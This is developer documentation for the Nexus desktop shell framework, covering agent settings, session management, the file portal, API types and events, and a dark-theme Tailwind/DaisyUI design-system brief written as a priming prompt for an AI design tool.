const path = await go.desktop.Shell.PickFile('my-agent', 'Select File', '*.pdf');
// Manage sessions.
const sessions = await go.desktop.Shell.ListSessions('my-agent');
await go.desktop.Shell.NewSession('my-agent');
await go.desktop.Shell.RecallSession('my-agent', sessionID);
await go.desktop.Shell.DeleteSession('my-agent', sessionID);
Session list updates
Session list changes arrive as Wails events (not bus events):
window.runtime.EventsOn('my-agent:sessions.updated', (jsonStr) => {
const sessions = JSON.parse(jsonStr);
renderSessionList(sessions);
});
Step 5: Settings
Agents declare settings via Settings []SettingsField on the Agent
struct. The framework handles persistence, UI rendering, and config
injection.
Field types
| Type | Constant | UI Control |
|---|---|---|
| Single-line text | FieldString | Text input |
| File/folder path | FieldPath | Text input + Browse button |
| Multi-line text | FieldText | Textarea |
| Number | FieldNumber | Number input (optional min/max) |
| Boolean | FieldBool | Toggle switch |
| Dropdown | FieldSelect | Select with Options |
Scope and sharing
Settings keys prefixed with shell. are stored in shell scope and
shared across all agents. During config resolution, the framework
checks agent scope first, then falls back to shell scope.
Common pattern: declare shell.api_key as a required secret on every
agent that needs it. The user enters it once — the shell-scoped value
resolves for all agents.
Settings: []desktop.SettingsField{
{
Key: "shell.api_key", // shell-scoped: shared
Display: "API Key",
Type: desktop.FieldString,
Secret: true,
Required: true,
},
{
Key: "data_dir", // agent-scoped: per-agent
Display: "Data Folder",
Type: desktop.FieldPath,
Required: true,
},
},
Secrets
Fields with Secret: true are stored in the OS keychain (macOS
Keychain, Windows Credential Manager, Linux Secret Service) via
go-keyring. The JSON settings file stores the sentinel
"__keychain__" so the frontend knows a value exists without
exposing it.
Required field gating
If an agent has required settings with no value and no default, the
framework refuses to boot the engine. The frontend should check
HasMissingRequired() and redirect to the settings page.
Config injection
${var} placeholders in config YAML are replaced with resolved
settings values before the engine is created. The resolution order:
- Agent-scoped value for the key
- Shell-scoped value for the key (fallback)
Defaultfrom theSettingsFielddefinition- If still unresolved and
Required: true— boot fails with an error listing the missing keys
Step 6: Session management
The framework tracks session history per agent automatically.
How it works
Every bootAgent call creates a session index entry in
~/.nexus/desktop/sessions.json. Your agent contributes metadata
via bus events:
| Event | Payload | Purpose |
|---|---|---|
session.meta.title | { "title": "..." } | Human-readable title for the session list |
session.meta.preview | { ... } | Agent-specific summary data (opaque) |
session.meta.status | { "status": "..." } | Explicit status change |
The shell subscribes to these events on each engine’s bus and updates
the index. The frontend receives updates via
{agentID}:sessions.updated Wails events.
Session lifecycle
| Action | Method | What happens |
|---|---|---|
| First select | EnsureAgentRunning(id) | Creates engine, boots, creates session entry |
| New session | NewSession(id) | Stops current engine, boots fresh |
| Recall | RecallSession(id, sid) | Stops current, boots with RecallSessionID for history replay |
| Delete | DeleteSession(id, sid) | Removes index entry + engine session dir |
Cleanup
On startup, the framework removes sessions older than the configured
retention period (default 30 days, configurable via
session_retention_days shell setting) and reconciles orphaned engine
directories.
Step 7: UI state persistence
The framework provides a mechanism for frontends to persist and restore UI state across sessions.
Save state
Emit ui.state.save from your frontend with an opaque state object:
bus.emit('ui.state.save', {
state: {
selectedTab: 'results',
scrollPosition: 450,
formData: { name: 'Jane', role: 'Engineer' }
}
});
The shell writes this to ui-state.json in the engine session
directory. Call this after meaningful UI interactions — not on every
keystroke.
Restore state
On session recall, the shell emits ui.state.restore with the saved
payload:
bus.on('ui.state.restore', (data) => {
if (data.state) {
applyUIState(data.state);
}
});
Both events must be in the wails IO plugin’s accept/subscribe
config:
nexus.io.wails:
subscribe:
- "ui.state.restore"
accept:
- "ui.state.save"
Step 8: File portal (optional)
If your agent works with files, the framework provides a standardized file access layer.
Declare directories
Add input_dir and optionally output_dir to your agent’s settings:
Settings: []desktop.SettingsField{
{Key: "input_dir", Display: "Input Folder", Type: desktop.FieldPath, Required: true},
{Key: "output_dir", Display: "Output Folder", Type: desktop.FieldPath},
},
Use shell methods
// List files in the agent's input directory.
const files = await go.desktop.Shell.ListFiles('my-agent', '*.pdf');
// Get the output directory (creates if needed).
const outDir = await go.desktop.Shell.OutputDir('my-agent');
// Copy a file into the input directory (drag-and-drop).
const dest = await go.desktop.Shell.CopyFileToInputDir('my-agent', '/path/to/file.pdf');
// Start watching for file changes.
go.desktop.Shell.WatchInputDir('my-agent');
window.runtime.EventsOn('my-agent:files.changed', () => {
refreshFileList();
});
Bus events for plugins
Plugins that need file access use bus events instead of shell methods:
| Event | Direction | Purpose |
|---|---|---|
io.file.output_dir.request | Plugin to shell | Ask where to write outputs |
io.file.output_dir.response | Shell to plugin | Output directory path |
io.file.selected | Shell to plugin | User selected a file in the browser panel |
session.file.created | Plugin to shell | Agent wrote an output file |
Adding multiple agents
Register additional agents in the Agents slice. Each gets its own
engine, config, plugins, settings, and sessions:
Agents: []desktop.Agent{
{
ID: "agent-a",
Name: "Agent A",
ConfigYAML: configA,
Factories: factoriesA,
Settings: settingsA,
},
{
ID: "agent-b",
Name: "Agent B",
ConfigYAML: configB,
Factories: factoriesB,
Settings: settingsB,
},
},
The frontend receives scoped events per agent ("agent-a:nexus",
"agent-b:nexus"). Create a bus helper per agent and switch the
active one when the user navigates.
Using LLM providers
If your agent needs an LLM provider (like Anthropic), register it in the factories and reference the model in your config:
import "github.com/frankbardon/nexus/plugins/providers/anthropic"
Factories: map[string]func() engine.Plugin{
"nexus.io.wails": wailsio.New,
"nexus.llm.anthropic": anthropic.New,
"myapp.agent.worker": myplugin.New,
},
core:
models:
default: quick
quick:
provider: nexus.llm.anthropic
model: claude-sonnet-4-6
max_tokens: 4096
plugins:
active:
- nexus.llm.anthropic
- nexus.io.wails
- myapp.agent.worker
nexus.llm.anthropic:
api_key: "${shell.api_key}"
Your plugin requests LLM completions via the bus using the model registry — see the Model Registry documentation.
Building and running
# Development mode (live reload).
cd cmd/my-app
wails dev
# Production build.
wails build
The wails dev command watches for Go and frontend changes and
rebuilds automatically. Production builds produce a single binary
with embedded frontend assets.
Common patterns
Session metadata from plugins
Emit session.meta.title after completing meaningful work so the
session list shows useful titles:
p.bus.Emit("session.meta.title", map[string]any{
"title": "Analysis: Q4 Revenue Report",
})
For richer session list entries, emit session.meta.preview with
agent-specific summary data:
p.bus.Emit("session.meta.preview", map[string]any{
"itemCount": 5,
"topResult": "Jane Smith",
"score": 0.95,
})
Output files
When your plugin writes a file, emit session.file.created so the
shell and frontend can track it:
p.bus.Emit("session.file.created", map[string]any{
"path": outputPath,
"filename": filepath.Base(outputPath),
"type": "application/json",
})
Error handling in boot
If EnsureAgentRunning returns an error, the agent status is set to
"error". Common causes:
- Missing required settings — the framework lists which keys are missing. Redirect to the settings page.
- Invalid config YAML — check
${var}placeholder names match theSettingsField.Keyvalues. - Plugin init failure — check the plugin’s
Initmethod for errors.
Next steps
- Desktop Shell Overview — Architecture and component details
- API Reference — All shell methods, types, and events
- Wails IO Plugin — Plugin-level configuration and manual embedding
Desktop Shell API Reference
Complete reference for the pkg/desktop/ framework types, shell
methods, settings system, and event contracts.
Types
Shell
Top-level orchestrator. Pass to desktop.Run() to start the app.
type Shell struct {
Title string // Window title
Width int // Window width (default 900)
Height int // Window height (default 720)
Agents []Agent // Registered agents
Assets embed.FS // Frontend assets; zero value uses built-in base template
}
Agent
Registration data for a single agent hosted by the shell.
type Agent struct {
ID string // Unique key: "my-agent"
Name string // Display name: "My Agent"
Description string // Short blurb for agent selector
Icon string // Font Awesome class: "fa-solid fa-gear"
ConfigYAML []byte // Embedded Nexus config YAML
Factories map[string]func() engine.Plugin // Custom plugin factories
Settings []SettingsField // User-configurable fields
}
AgentInfo
JSON-serializable projection of Agent returned by ListAgents().
type AgentInfo struct {
ID string `json:"id"`
Name string `json:"name"`
Description string `json:"description"`
Icon string `json:"icon"`
Status string `json:"status"` // "idle", "booting", "running", "error"
}
AgentStatus
const (
AgentStatusIdle AgentStatus = "idle"
AgentStatusBooting AgentStatus = "booting"
AgentStatusRunning AgentStatus = "running"
AgentStatusError AgentStatus = "error"
)
SessionMeta
Shell-level metadata for a single engine session.
type SessionMeta struct {
ID string `json:"id"`
AgentID string `json:"agent_id"`
Title string `json:"title"`
Status string `json:"status"` // "running", "completed", "failed"
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
Preview any `json:"preview,omitempty"` // Agent-specific summary data
}
FileInfo
File entry returned by ListFiles().
type FileInfo struct {
Name string `json:"name"`
Path string `json:"path"`
Size int64 `json:"size"`
Modified time.Time `json:"modified"`
IsDir bool `json:"is_dir"`
}
Settings types
SettingsField
Declares a single configurable value for the settings UI.
type SettingsField struct {
Key string // Machine key: "data_dir"
Display string // Human label: "Data Folder"
Description string // Help text shown below the field
Type FieldType // UI control type
Secret bool // Stored in OS keychain, masked in UI
Default any // Default value if unconfigured
Required bool // Agent refuses to boot without this
Validation *FieldValidation // Optional constraints
ConfigPath string // Template variable in config YAML
Options []SelectOption // For FieldSelect only
}
FieldType
const (
FieldString FieldType = iota // Single-line text input
FieldPath // Text input + Browse button
FieldText // Multiline textarea
FieldNumber // Number input (optional min/max)
FieldBool // Toggle switch
FieldSelect // Dropdown
)
FieldValidation
type FieldValidation struct {
Regex string `json:"regex,omitempty"`
Min *float64 `json:"min,omitempty"`
Max *float64 `json:"max,omitempty"`
Message string `json:"message,omitempty"` // Validation error message
}
SelectOption
type SelectOption struct {
Value string `json:"value"`
Display string `json:"display"`
}
SettingsSchema
Top-level schema sent to the frontend for dynamic UI rendering.
type SettingsSchema struct {
Shell []SettingsFieldInfo `json:"shell"`
Agents map[string][]SettingsFieldInfo `json:"agents"`
}
SettingsFieldInfo
JSON projection of SettingsField sent to the frontend.
type SettingsFieldInfo struct {
Key string `json:"key"`
Display string `json:"display"`
Description string `json:"description,omitempty"`
Type string `json:"type"` // "string", "path", "text", "number", "bool", "select"
Secret bool `json:"secret,omitempty"`
Required bool `json:"required,omitempty"`
Default any `json:"default,omitempty"`
Validation *FieldValidation `json:"validation,omitempty"`
Options []SelectOption `json:"options,omitempty"`
}
Shell methods (Wails-bound)
All methods below are exposed to the frontend via Wails bindings.
Call them from JavaScript as go.desktop.Shell.MethodName(args).
Agent lifecycle
| Method | Signature | Description |
|---|---|---|
ListAgents | () []AgentInfo | All registered agents with current status |
EnsureAgentRunning | (agentID string) error | Lazy boot — creates and boots engine on first call, no-op if already running |
StopAgent | (agentID string) error | Stop engine, tear down bus subs, mark idle |
Session management
| Method | Signature | Description |
|---|---|---|
NewSession | (agentID string) error | Stop current engine, boot fresh with new session |
RecallSession | (agentID, sessionID string) error | Stop current, boot with RecallSessionID for history replay |
ListSessions | (agentID string) []SessionMeta | Session metadata for agent, sorted most-recent first |
DeleteSession | (agentID, sessionID string) error | Remove from index + delete engine session dir. Cannot delete active session |
OS integration
| Method | Signature | Description |
|---|---|---|
PickFile | (agentID, title, filter string) (string, error) | Native file open dialog, rooted in agent’s input_dir |
PickFolder | (agentID, title string) (string, error) | Native folder selection dialog |
OpenExternal | (target string) error | Open URL in system browser or file in default app |
RevealInFinder | (path string) error | Open file manager at path (Finder/Explorer/xdg-open) |
Notify | (title, body string) error | OS notification (placeholder — logs for now) |
File portal
| Method | Signature | Description |
|---|---|---|
ListFiles | (agentID, filter string) ([]FileInfo, error) | Non-recursive listing of agent’s input_dir, glob filter (e.g. "*.pdf") |
OutputDir | (agentID string) (string, error) | Resolve agent’s output_dir, create if needed |
CopyFileToInputDir | (agentID, sourcePath string) (string, error) | Copy file into input_dir (drag-and-drop). Returns dest path |
WriteFileToInputDir | (agentID, name, base64Data string) (string, error) | Write base64-encoded file to input_dir (webview fallback for drag-and-drop) |
WatchInputDir | (agentID string) | Start fsnotify watcher on input_dir. Emits {agentID}:files.changed on changes |
RAG ingestion
| Method | Signature | Description |
|---|---|---|
GetIngestState | (agentID string) IngestState | Active + recent ingestion entries for an agent. Frontends call this on load, then subscribe to {agentID}:ingest.updated for pushes |
IngestState has Active []IngestEntry and Recent []IngestEntry.
Each IngestEntry carries Path, Namespace, Status (active /
completed / failed), Chunks, SkippedCached, and Error. The
shell tracks ingest activity by subscribing to rag.ingest (priority
10, before the ingest plugin runs the synchronous work) and
rag.ingest.result. In-memory only — recent history resets on shell
restart.
Settings
| Method | Signature | Description |
|---|---|---|
GetSettingsSchema | () SettingsSchema | Full schema for frontend rendering (shell + per-agent) |
GetSettings | () map[string]map[string]any | All current values. Secrets show "__keychain__" |
UpdateSetting | (scope, key string, value any) error | Write plaintext setting. Scope = agent ID or "shell" |
UpdateSecret | (scope, key, value string) error | Write secret to OS keychain |
DeleteSetting | (scope, key string, secret bool) error | Remove plaintext setting or secret |
HasMissingRequired | () map[string][]string | Map of agentID to missing required setting keys |
Event contracts
Bus events (plugin to shell)
Events emitted by agent plugins that the shell subscribes to
internally. These do not need to be in the wails IO plugin’s
subscribe/accept config — the shell installs its own bus
subscriptions.
| Event | Payload | Purpose |
|---|---|---|
session.meta.title | { "title": string } | Set human-readable session title |
session.meta.preview | { ... } (opaque) | Agent-specific summary for session list |
session.meta.status | { "status": string } | Explicit status change ("completed", "failed", etc.) |
io.session.end | — | Signals session end, marks session as completed |
io.file.output_dir.request | { "requestID": string } | Plugin asks shell for the output directory path |
session.file.created | { "path": string, "filename": string, ... } | Plugin notifies that an output file was written |
Bus events (shell to plugin)
| Event | Payload | Purpose |
|---|---|---|
io.file.output_dir.response | { "requestID": string, "path": string, "error": string } | Output directory path response |
Bus events (frontend bridge)
These events cross the bus-to-frontend boundary and must be listed
in the wails IO plugin’s subscribe/accept config.
| Event | Direction | Config key | Purpose |
|---|---|---|---|
ui.state.save | Frontend to bus | accept | Frontend persists UI state |
ui.state.restore | Bus to frontend | subscribe | Shell restores UI state on recall |
| Domain events | Either | subscribe/accept | Agent-specific events (e.g. work.request, work.result) |
Wails events (shell direct)
Events emitted by the shell directly via wailsruntime.EventsEmit,
bypassing the bus bridge. Listen with window.runtime.EventsOn.
| Event | Payload | Purpose |
|---|---|---|
{agentID}:sessions.updated | JSON string of []SessionMeta | Session list changed for agent |
{agentID}:files.changed | — | Files added/removed in watched input_dir |
{agentID}:ingest.updated | JSON string of IngestState | RAG ingestion started or completed (active + recent history) |
Settings store
Persistence
- Plaintext:
~/.nexus/desktop/settings.json— JSON file with{ version, shell: {}, agents: {} }structure. - Secrets: OS keychain via
go-keyring, service name"nexus-desktop", account"{scope}.{key}". - Sentinel: Secret fields store
"__keychain__"in the JSON file so the frontend knows a value exists without exposing it.
Scope resolution
When resolving a ${var} placeholder in config YAML:
- Check agent scope for the key
- Fall back to shell scope
- Fall back to
SettingsField.Default - If still unresolved and
Required: true, boot fails
Keys prefixed with shell. (e.g. shell.api_key) are always looked
up in shell scope directly.
Built-in shell settings
| Key | Type | Default | Description |
|---|---|---|---|
session_root | path | ~/.nexus/sessions | Session storage directory |
session_retention_days | number | 30 | Days to keep sessions before cleanup (1–365) |
shared_data_dir | path | — | Shared directory accessible to all agents |
Session index
Persisted at ~/.nexus/desktop/sessions.json.
Maintenance (runs on startup)
- Cleanup: Removes sessions older than
session_retention_daysfrom both the index and disk. - Reconcile: Adopts orphaned engine directories (on disk but not in index) if newer than the retention cutoff. Removes stale index entries whose directories no longer exist on disk.
File watcher
Single-directory watcher using fsnotify. Debounced at 200ms.
- Only fires on
Create,Remove, andRenameoperations. - Calling
Watch(newDir)automatically unwatches the previous directory. - Calling
Watch("")stops watching without starting a new watch. - Notifications arrive as
{agentID}:files.changedWails events.
Config resolution
resolveConfig() performs ${key} placeholder substitution on raw
YAML bytes before engine creation. For each SettingsField:
- If
${field.Key}appears in the YAML, resolve it - Shell-prefixed keys (
shell.xxx) look up in shell scope directly - Other keys check agent scope, then fall back to shell scope
- Unresolved required fields are collected and returned as an error
- Unresolved optional fields are left as literal
${key}— the plugin sees the placeholder string and can handle or ignore it
Nexus Desktop Design System — Priming Brief
Paste this whole document into Claude Design as a system/priming prompt. It describes the existing desktop UI system so any new screens or components remain consistent with what’s already shipped.
What you are working on
You are designing UI for Nexus desktop apps — Go/Wails-based native apps that embed AI agents. Each desktop app hosts one or more “agents” (domain-specific AI workflows) in a consistent shell. Examples in the repo: a multi-agent reference app (hello-world + staffing-match) and a single-agent phased workflow app (tech lead).
Your job is to design UI that slots into this existing system without reinventing it. Prefer existing primitives and class recipes over new ones.
Tech stack (non-negotiable)
- Tailwind CSS via CDN (
https://cdn.tailwindcss.com) - DaisyUI 4 as the component layer (
https://cdn.jsdelivr.net/npm/daisyui@4/dist/full.min.css) - Font Awesome 6.5.1 (free, solid style by default:
fa-solid) - AlpineJS 3 for state and reactivity (
Alpine.store,x-data,x-show,x-for,x-transition,x-model) - No build step. Everything ships as a single
index.htmlper app with inline<script>and<style>. - No other libraries. No React, Vue, Svelte, or component kits. No CSS-in-JS.
Always use DaisyUI utility classes first (btn, card, input, alert, badge, collapse, loading, textarea, toggle, select). Fall back to raw Tailwind only for layout, spacing, and DaisyUI gaps.
Theme
- Dark theme is default and primary.
<html data-theme="dark">. Light mode is not currently supported — don’t design light-first mockups. - Semantic color tokens come from DaisyUI:
primary,secondary,accent,success,warning,error,info,base-100(app bg),base-200(panel bg),base-300(borders/hover),base-content(text). - Opacity is the workhorse for hierarchy. Use
text-base-contentat/40/50/60/80instead of introducing new grays. Example: section headers useopacity-50, body meta usesopacity-40. - Primary color is used sparingly — reserved for active nav items, primary CTAs, and “this is the focused thing” accents. Common active-state pattern:
bg-primary/15 text-primary, icon slotbg-primary/20. - Status colors:
success= done/running-healthy,warning= booting/attention,error= failed/destructive,info= neutral context,primary= active/pulsing.
Typography
- Base font = Tailwind default sans-serif. Monospace (
font-mono) is used for file paths, IDs, token counts, and code/specs. - Section headers:
text-xs font-semibold uppercase tracking-wider opacity-50— used for “SESSIONS”, “ARTIFACTS”, “FILES”, “GENERAL”, etc. - Page title:
font-semibold text-base leading-tightin headers,text-xl font-boldfor phase/view titles in main content. - Labels:
text-sm font-mediumfor form labels;text-xs opacity-50for field descriptions/helper text. - Body text:
text-smdefault;text-xsfor meta, timestamps, counts. - Never use custom font sizes in px. Stick to Tailwind’s
text-[10px],text-xs,text-sm,text-base,text-lg,text-xl.
Layout archetypes
Two shell archetypes exist. Pick the one that matches the app and keep within it.
Archetype A — Multi-agent shell (horizontal)
┌─────┬──────────┬───────────────────┬────────┐
│ Nav │ Sessions │ Main │ Files │
│ 64↔ │ 256px │ flex-1 │ 288px │
│220px│ (cond.) │ │(toggle)│
└─────┴──────────┴───────────────────┴────────┘
- Left nav (
w-16collapsed ↔w-[220px]expanded,bg-base-200 border-r border-base-300): logo + agent list + settings. Each agent row is an icon with a status dot and an optional label. Active agent usesbg-primary/15 text-primary. - Sessions panel (
w-64,bg-base-200/50 border-r border-base-300): visible when an agent is active. Conditional viax-show. - Main (
flex-1): per-agent content. Header on top with title, description, and inline action buttons. The header is draggable (wails-drag). - File browser (
w-72,bg-base-200/50 border-l border-base-300): toggleable right panel rooted in the agent’sinput_dir.
Archetype B — Single-agent phased shell (vertical)
┌──────────────────────────────────────────┐
│ ① ━ ② ━ ③ ━ ④ ━ ⑤ [sessions] [⚙] │ ← phase stepper bar
├──────────┬─────────────────┬─────────────┤
│ Sessions │ Main content │ (optional) │
│ 224px │ flex-1 │ │
│ (toggle) │ │ │
├──────────┴─────────────────┴─────────────┤
│ Artifact tree (224px, left) │
└──────────────────────────────────────────┘
- Phase stepper bar on top (
bg-base-200 border-b border-base-300 px-6 py-3, alsowails-drag): numbered step chips with connector lines. Active step =bg-primary text-primary-content, completed =bg-success/20 text-successwith ✓, future =text-base-content/40 cursor-default. - Artifact tree (
w-56): grouped list of generated artifacts (documents, epics → stories nested, notes, timeline, comms). Each group has an uppercase section header. - Main switches content per active phase via
x-show="$store.reqflow.phase === N".
Shell chrome (apply to both archetypes)
- Dragging the window uses the class
wails-drag(with CSS--wails-draggable: drag;). Put it on the topmost header bar. - Body:
bg-base-100 text-base-content,overflow-hidden, root ish-screen flex(horizontal shells) orh-screen flex flex-col(vertical shells). - Panels:
bg-base-200/50, borders viaborder-base-300. Don’t invent new panel backgrounds. - Transitions for panel enter/exit:
150ms ease-out, 8px slide + fade. Usex-transition:enter="transition ease-out duration-150" x-transition:enter-start="opacity-0 -translate-x-2" x-transition:enter-end="opacity-100 translate-x-0"translate-x-2for right-side panels entering from the right.
Component recipes (memorize these)
Buttons
- Primary action:
btn btn-primary btn-sm - Secondary/tertiary:
btn btn-ghost btn-sm(common) orbtn btn-outline btn-sm - Icon-only square:
btn btn-ghost btn-sm btn-square(toolbar),btn btn-ghost btn-xs btn-square(in-row) - Destructive inline:
btn btn-ghost btn-xs btn-square hover:text-erroror... text-error - Inside a button: icon first (
<i class="fa-solid fa-... text-xs">), then a label span. Loading state swaps icon for<span class="loading loading-spinner loading-xs">. - Size ladder:
btn-xs(dense toolbars, in-row actions) →btn-sm(default) →btn(rare, page-level CTA).
Nav/list items (active/hover pattern)
Reused across the agent nav, session list, artifact tree, and file list:
<button
class="w-full flex items-center gap-3 px-3 py-2.5 rounded-lg transition-colors text-left group"
:class="isActive
? 'bg-primary/15 text-primary'
: 'hover:bg-base-300 text-base-content/70 hover:text-base-content'">
<div class="w-8 h-8 rounded-lg flex items-center justify-center"
:class="isActive ? 'bg-primary/20' : 'bg-base-300'">
<i class="fa-solid fa-icon text-sm"></i>
</div>
<div class="min-w-0 flex-1">
<div class="text-sm font-medium truncate">Label</div>
<div class="text-xs opacity-50 truncate">Sub-label</div>
</div>
</button>
Status dots
<div class="w-2.5 h-2.5 rounded-full border-2 border-base-200"
:class="{
'bg-success': status === 'running',
'bg-warning animate-pulse': status === 'booting',
'bg-error': status === 'error'
}"></div>
Small-size variant for list rows: w-1.5 h-1.5 rounded-full.
Cards
<div class="card bg-base-200 border border-base-300 hover:border-primary/40 transition-colors">
<div class="card-body p-4">...</div>
</div>
Badges
- Count/label:
badge badge-sm - Semantic:
badge-success,badge-warning,badge-error,badge-primary,badge-ghost - Tiny inline:
badge badge-xs
Inputs
- Text:
input input-bordered input-sm w-full - Textarea:
textarea textarea-bordered w-full text-sm(addmin-h-[7rem]for multi-line prompts) - Select:
select select-bordered select-sm w-full - Toggle:
input type="checkbox" class="toggle toggle-primary toggle-sm" - Secret (password): same input, add an eye-toggle button absolutely positioned right (
absolute right-2 top-1/2 -translate-y-1/2 btn btn-ghost btn-xs btn-circle). - Invalid/required: add
input-warningclass when the field is required and empty.
Alerts
- Error:
alert alert-error py-2 text-smwith leading<i class="fa-solid fa-triangle-exclamation"></i> - Warning/missing-config:
alert alert-warning - Inline error under a form:
text-xs text-warningwith<i class="fa-solid fa-circle-exclamation">
Empty states
<div class="flex items-center justify-center h-full">
<div class="text-center max-w-sm">
<div class="w-16 h-16 rounded-2xl bg-primary/10 flex items-center justify-center mx-auto mb-4">
<i class="fa-solid fa-icon text-primary text-2xl"></i>
</div>
<h2 class="text-lg font-semibold mb-1">Short headline</h2>
<p class="text-sm opacity-60">One-sentence explainer with a call to action.</p>
</div>
</div>
Compact variant for narrow panels: drop the icon tile to text-2xl opacity-20, text to text-xs opacity-40, center vertically in the panel.
Loading states
- Inline (inside a button):
loading loading-spinner loading-xs - Panel-level:
loading loading-spinner loading-sm opacity-40 - Hero / boot overlay:
loading loading-spinner loading-lg text-primarycentered with a subtitle - “Thinking…” dots:
loading loading-dots loading-sm - Full-screen boot overlay:
absolute inset-0 flex items-center justify-center bg-base-100/80 z-10
Collapsible sections (settings)
DaisyUI collapse: collapse collapse-arrow bg-base-200 border border-base-300, with <input type="checkbox" checked> inside to drive state. Title row: collapse-title font-semibold flex items-center gap-2 with a leading icon.
Drag-and-drop
Drop overlay (appears while dragging):
<div class="absolute inset-0 z-20 bg-primary/10 border-2 border-dashed border-primary rounded-lg flex items-center justify-center pointer-events-none">
<div class="text-center">
<i class="fa-solid fa-cloud-arrow-up text-primary text-2xl mb-2"></i>
<p class="text-sm font-medium text-primary">Drop files here</p>
</div>
</div>
Persistent drop zone (phase 1 import style):
<div class="border-2 border-dashed border-base-300 rounded-xl p-8 text-center transition-all"
:class="{ 'drop-active': dragOver }">
<i class="fa-solid fa-cloud-arrow-up text-4xl text-base-content/20 mb-4 block"></i>
<p class="text-base-content/40 mb-3">Drop markdown files here</p>
<button class="btn btn-sm btn-primary">Browse Files</button>
</div>
Chat messages (agent conversation)
- User: right-aligned,
bg-primary text-primary-contentbubble, no avatar or avatar on the right - Assistant: left-aligned,
bg-base-200bubble, avatar isw-8 h-8 rounded-full bg-primary/20withfa-roboticon - Note/annotation:
bg-warning/10 border border-warning/20bubble,fa-sticky-noteavatar - Max-width bubble:
max-w-[75%] rounded-lg px-4 py-3 - Auto-scroll on new message via
x-effect="$refs.chatScroll && ($refs.chatScroll.scrollTop = $refs.chatScroll.scrollHeight)"
Interaction rules
- Hover reveal: destructive or secondary actions inside list rows use
opacity-0 group-hover:opacity-100 transition-opacity. Never show delete buttons unconditionally. - Keyboard: chat textareas support
@keydown.enter.meta="send()"and@keydown.enter.ctrl="send()"(Cmd/Ctrl+Enter). Show the hint astext-xs opacity-30below the input. - Required-field gating: when required settings are missing, show a
alert alert-warningbanner at the top of settings, and mark each missing field with an inlinetext-xs text-warning“Required” hint andinput-warningclass. - Restart nudge: when a running agent has dirty settings, show
badge badge-warning badge-xs“restart required” on the section and abtn btn-warning btn-smat the bottom.
Data flow (so designs match reality)
- All agent domain communication flows through a scoped event bus bridge (
createBus(agentID)), not Wails-bound methods. Your designs should assume async, event-driven updates — never blocking waits. - The shell owns: agent lifecycle (boot/stop), sessions, settings, file dialogs, file browser, drag-and-drop.
- The agent owns: its own UI section, its own Alpine store, its own input/output events.
- State that survives session recall lives in
ui.state.save/ui.state.restoreevents — designs should gracefully rehydrate partial state.
What NOT to do
- Don’t introduce a new CSS framework, component library, or JS framework. Alpine + Tailwind + DaisyUI is the entire toolbox.
- Don’t add light mode without checking first — everything assumes dark.
- Don’t invent new named colors. Stick to the DaisyUI semantic tokens.
- Don’t use raw gray scales (
text-gray-500). Useopacity-*ontext-base-content. - Don’t add routing. Views switch via
x-showagainst a single activeView string. - Don’t design multi-page flows with URLs. Everything is SPA-style, single
index.html. - Don’t add modals/dialogs casually — the existing apps don’t use them. Use inline collapsibles, side panels, or dedicated views instead. If you need a confirm, use inline “Are you sure?” patterns.
- Don’t design for mobile or narrow widths. Desktop only, min width roughly 900×720.
- Don’t add animations beyond DaisyUI
animate-pulseand the existing 150ms panel transitions. No hero scroll effects, no motion beyond utility. - Don’t add icons from other sets — Font Awesome 6 solid only.
When proposing something new
If your design needs a component not listed above, say so explicitly and propose either (a) a DaisyUI component that isn’t yet used, or (b) a raw-Tailwind recipe that matches the existing visual weight. Flag it as a net-new primitive so we can decide whether to adopt it.
Quick reference — the 10 classes you’ll use constantly
| Purpose | Class |
|---|---|
| Active list item | bg-primary/15 text-primary |
| Hover list item | hover:bg-base-300 text-base-content/70 hover:text-base-content |
| Panel background | bg-base-200/50 |
| Panel border | border-base-300 |
| Section header | text-xs font-semibold uppercase tracking-wider opacity-50 |
| Meta text | text-xs opacity-50 |
| Primary CTA | btn btn-primary btn-sm |
| Icon button | btn btn-ghost btn-sm btn-square |
| Card | card bg-base-200 border border-base-300 hover:border-primary/40 |
| Empty state icon tile | w-16 h-16 rounded-2xl bg-primary/10 |
Nexus Desktop Design System — Full Reference
Comprehensive reference for the Nexus desktop UI system. Derived from the shipped frontends at cmd/desktop/frontend/dist/index.html and cmd/techlead/frontend/dist/index.html, plus the shell framework at pkg/desktop/. Pair with design-system-brief.md for a shorter priming version.
1. Scope and context
Nexus ships desktop apps via Wails v2 — each app is a Go binary wrapping a webview. The webview loads a single index.html containing the entire UI. Two kinds of apps exist today:
- Multi-agent shells (reference:
cmd/desktop) — host several domain-specific agents under one roof, each with its own UI section. - Single-agent workflow apps (reference:
cmd/techlead) — one agent, one workflow, typically organized as a phased progression.
Both share the same visual language, component vocabulary, and tech stack. A designer working on either should be able to port patterns between them without friction.
Integration with the engine
The UI does not directly “call” the agent. All domain communication flows through a scoped event bus bridge (createBus(agentID)) that wraps Wails event APIs. Every design should assume:
- Actions emit bus events; results arrive as inbound bus events (asynchronous).
- The shell (not the agent) owns file dialogs, the file browser, settings, and session management — these appear in UI via Wails-bound methods on the shell.
- UI state that must survive session recall is saved via
ui.state.saveevents and rehydrated viaui.state.restore.
What doesn’t exist yet
- No light theme. Everything assumes
data-theme="dark". - No modals or dialog components are in use. New screens should avoid them unless explicitly requested.
- No routing library. Views switch via Alpine stores against
activeView/phase number. - No component library beyond DaisyUI. No icon set beyond Font Awesome 6 solid.
- No responsive/mobile layouts. Min window size ~900×720.
2. Tech stack
| Layer | Choice | Source |
|---|---|---|
| CSS framework | Tailwind CSS | https://cdn.tailwindcss.com |
| Component layer | DaisyUI 4 | https://cdn.jsdelivr.net/npm/daisyui@4/dist/full.min.css |
| Icons | Font Awesome 6.5.1 Free | https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css |
| JS reactivity | AlpineJS 3 | https://cdn.jsdelivr.net/npm/alpinejs@3/dist/cdn.min.js |
| Shell runtime | Wails v2 | Go module github.com/wailsapp/wails/v2 |
| Desktop chrome | System native (macOS/Windows/Linux) via Wails |
Everything is CDN-loaded; there is no bundler, no npm install, no TypeScript, no build step. A new frontend is one self-contained index.html.
3. Design tokens
3.1 Color tokens (DaisyUI semantic)
Never introduce raw gray scales. Use DaisyUI’s semantic tokens.
| Token | Purpose | Typical use |
|---|---|---|
primary | Brand / active / focus | Active nav, primary CTA, selected item |
secondary | Alt accent | Story IDs, tertiary badges |
accent | Third accent | Epic IDs |
success | Healthy / complete | Status dots (running healthy), completed phase checks |
warning | Attention / boot | Status dot (booting), unsaved marker, required-field highlight |
error | Failure / destructive | Error alerts, failed status, destructive hover |
